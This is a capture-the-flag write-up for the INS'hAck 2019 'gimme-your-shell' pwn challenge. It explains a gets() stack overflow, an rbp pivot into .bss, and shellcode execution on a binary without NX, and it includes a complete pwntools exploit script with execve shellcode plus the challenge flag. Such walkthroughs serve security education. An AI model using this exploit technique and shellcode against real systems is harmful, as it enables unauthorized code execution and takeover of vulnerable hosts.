Event Challenge Category Points Solves
inshack-2019 gimme-your-shell pwn 50 67

TL;DR

This is a remote buffer overflow challenge, there is no protection on the binary but ASLR is enable on the remote server. I redirected the execution flow to write my shellcode to a controled area, then jump to it and execute it.

Getting informations

First I looked at the protections on the binary :

No protections is enabled but it’s a remote challenge and we can assume that the ASLR is enabled on the remote server. Let keep that in mind and try to run the binary.

The program crash when the input is to big. The binary is not stripped which means that we can find symbol inside the binary by opening it with ghidra we can easily spot the vuln function which use a vulnerable function to get input from the user. Here gets will read the user input from STDIN and the result will be stored in local_18 but there is no check on the size of the user input, we have our buffer overflow.

Road to the exploit

Since ASLR is randomizing the stack addresses we can’t find the address of our payload and jump to it. We could try to leak an address of libc and perform a ret2libc but I didn’t use this technique because it’s an 64 bits binary and there is no easy way to control the register rdi which is used to pass the first arguments. So without a gadget to properly set rdi we can’t make a call to puts with the address of gets as parameter to leak it’s address. But remember the NX bit is not set, here is a definition from wikipedia :

An operating system with support for the NX bit may mark certain areas of memory as non-executable. The processor will then refuse to execute any code residing in these areas of memory. The general technique, known as executable space protection, is used to prevent certain types of malicious software from taking over computers by inserting their code into another program's data storage area and running their own code from within this section; one class of such attacks is known as the buffer overflow attack.

So if it’s disable we can write data and then execute what we write if it’s a valid set of instructions. Now there are 2 problems to solve, where to write the shellcode and how to jump there.

We can see from the code in ghidra that the parameter of the gets function depend of rbp

1
2
3
00400570 48 8d 45 f0     LEA        RAX=>local_18,[RBP + -0x10]
00400574 48 89 c7        MOV        RDI,RAX
00400577 e8 d4 fe        CALL       gets

By chance there is a gadget which allow us to set a crafted value in rbp :

1
2
3
4
ROPgadget --binary weak
[...]
0x0000000000400522 : pop rbp ; ret
[...]

You can use the readelf command to list sections of the binary and their differents rights, we can see that the .bss section has write (W) right, it’s a perfect candidate to host our shellcode.

1
2
3
4
5
readelf -S weak
[...]
[25] .bss              NOBITS           0000000000600a18  00000a18
    0000000000000010  0000000000000000  WA       0     0     8
[...]

We also have to see where the program crash, I use gdb with the peda extention which allow me to create patterns and search for them :

1
2
3
4
gdb ./weak
gdb-peda$ pattern_create 30
'AAA%AAsAABAA$AAnAACAA-AA(AADAA'
gdb-peda$ r 

Perfect we can control rip which is the instuction pointer at offset 24.

Building the exploit

So here is the plan :

  • overflow the program until rip
  • use the previous gadget to set rbp with a controlled value in bss
  • ret to the code in vuln to make a second call to get
  • send our shellcode which will be in bss
  • jump to our controlled area in bss
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

s = process("./connect.sh", shell=True)

shell = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

bss = 0x0600b00                                         # bss WX permissions
offset = 24

stage1 = ""
stage1 += "A" * offset
stage1 += p64(0x0400522)                                # pop rbp
stage1 += p64(bss + 0x10)
stage1 += p64(0x0400570)                                # back to vuln

print s.recvuntil("president.\n").strip()

s.sendline(stage1)

print s.recvuntil("remember !\n").strip()

stage2 = ""
stage2 += "A" * offset
stage2 += p64(0x0600b00 +32)                            # 32 is the lenght of the offset plus the
stage2 += shell                                         #lenght of the 0x0600b00 address

s.sendline(stage2)

print s.recvuntil("remember !\n").strip()
s.interactive()
connect.sh
1
ssh -i ../key.pub -p 2225 user@gimme-your-shell.ctf.insecurity-insa.fr

Flag

INSA{YoU_h4v3_a_b34uT1fUL_Sh33lc0d3}